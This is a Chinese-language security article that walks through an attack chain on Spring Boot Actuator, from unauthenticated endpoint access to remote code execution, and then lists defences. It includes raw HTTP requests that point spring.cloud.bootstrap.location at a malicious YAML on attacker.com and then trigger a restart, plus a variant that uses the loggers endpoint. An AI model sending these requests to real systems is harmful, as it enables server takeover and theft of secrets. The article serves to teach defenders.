插件窝 干货文章 Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析

端点 Actuator 访问 Spring 943    来源:    2025-04-22

Spring Boot Actuator 未授权访问到 GetShell 攻击链分析

漏洞背景

Spring Boot Actuator 是一个用于监控和管理 Spring Boot 应用的模块,提供了许多生产就绪的特性。当配置不当时,攻击者可能通过未授权访问 Actuator 端点获取敏感信息,甚至实现远程代码执行(RCE)。

攻击流程示例

1. 发现未授权访问的 Actuator 端点

首先攻击者会扫描常见的 Actuator 端点,如:

/actuator
/actuator/env
/actuator/heapdump
/actuator/mappings
/actuator/beans
/actuator/health

如果这些端点可以未授权访问,攻击者就能获取大量敏感信息。

2. 利用 env 端点获取敏感信息

访问 /actuator/env 可以获取环境变量、配置属性等,可能包含: - 数据库凭据 - API密钥 - 加密密钥 - 其他敏感配置

3. 检查可写端点

某些 Actuator 端点支持 HTTP POST 请求修改配置,特别是:

/actuator/env
/actuator/restart
/actuator/loggers

4. 通过 env 端点修改配置实现 RCE

在特定版本的 Spring Boot 中,可以通过修改环境变量实现 RCE:

POST /actuator/env HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "name":"spring.cloud.bootstrap.location",
  "value":"http://attacker.com/malicious.yml"
}

然后触发应用重启:

POST /actuator/restart HTTP/1.1
Host: target.com

恶意 YAML 文件可以包含恶意 SPEL 表达式实现 RCE。

5. 替代方案 - 通过 loggers 端点

如果不能修改环境变量,可以尝试修改日志配置:

POST /actuator/loggers/org.springframework.web HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "configuredLevel": "TRACE"
}

然后通过日志注入恶意代码。

防御措施

  1. 访问控制

    • 使用 Spring Security 限制 Actuator 端点的访问
    • 配置 management.endpoints.web.exposure.include 只暴露必要端点
  2. 敏感端点禁用

    management.endpoint.env.enabled=false
    management.endpoint.restart.enabled=false
    
  3. 网络层防护

    • 将 Actuator 端点放在独立的管理端口
    • 通过防火墙限制访问来源
  4. 更新版本

    • 使用最新版本的 Spring Boot,修复已知漏洞
  5. 监控

    • 监控对 Actuator 端点的异常访问
    • 记录所有管理端点的操作

总结

Spring Boot Actuator 的未授权访问漏洞可能导致严重的信息泄露甚至远程代码执行。开发人员应始终遵循最小权限原则,严格控制生产环境中 Actuator 端点的访问权限,并定期进行安全审计。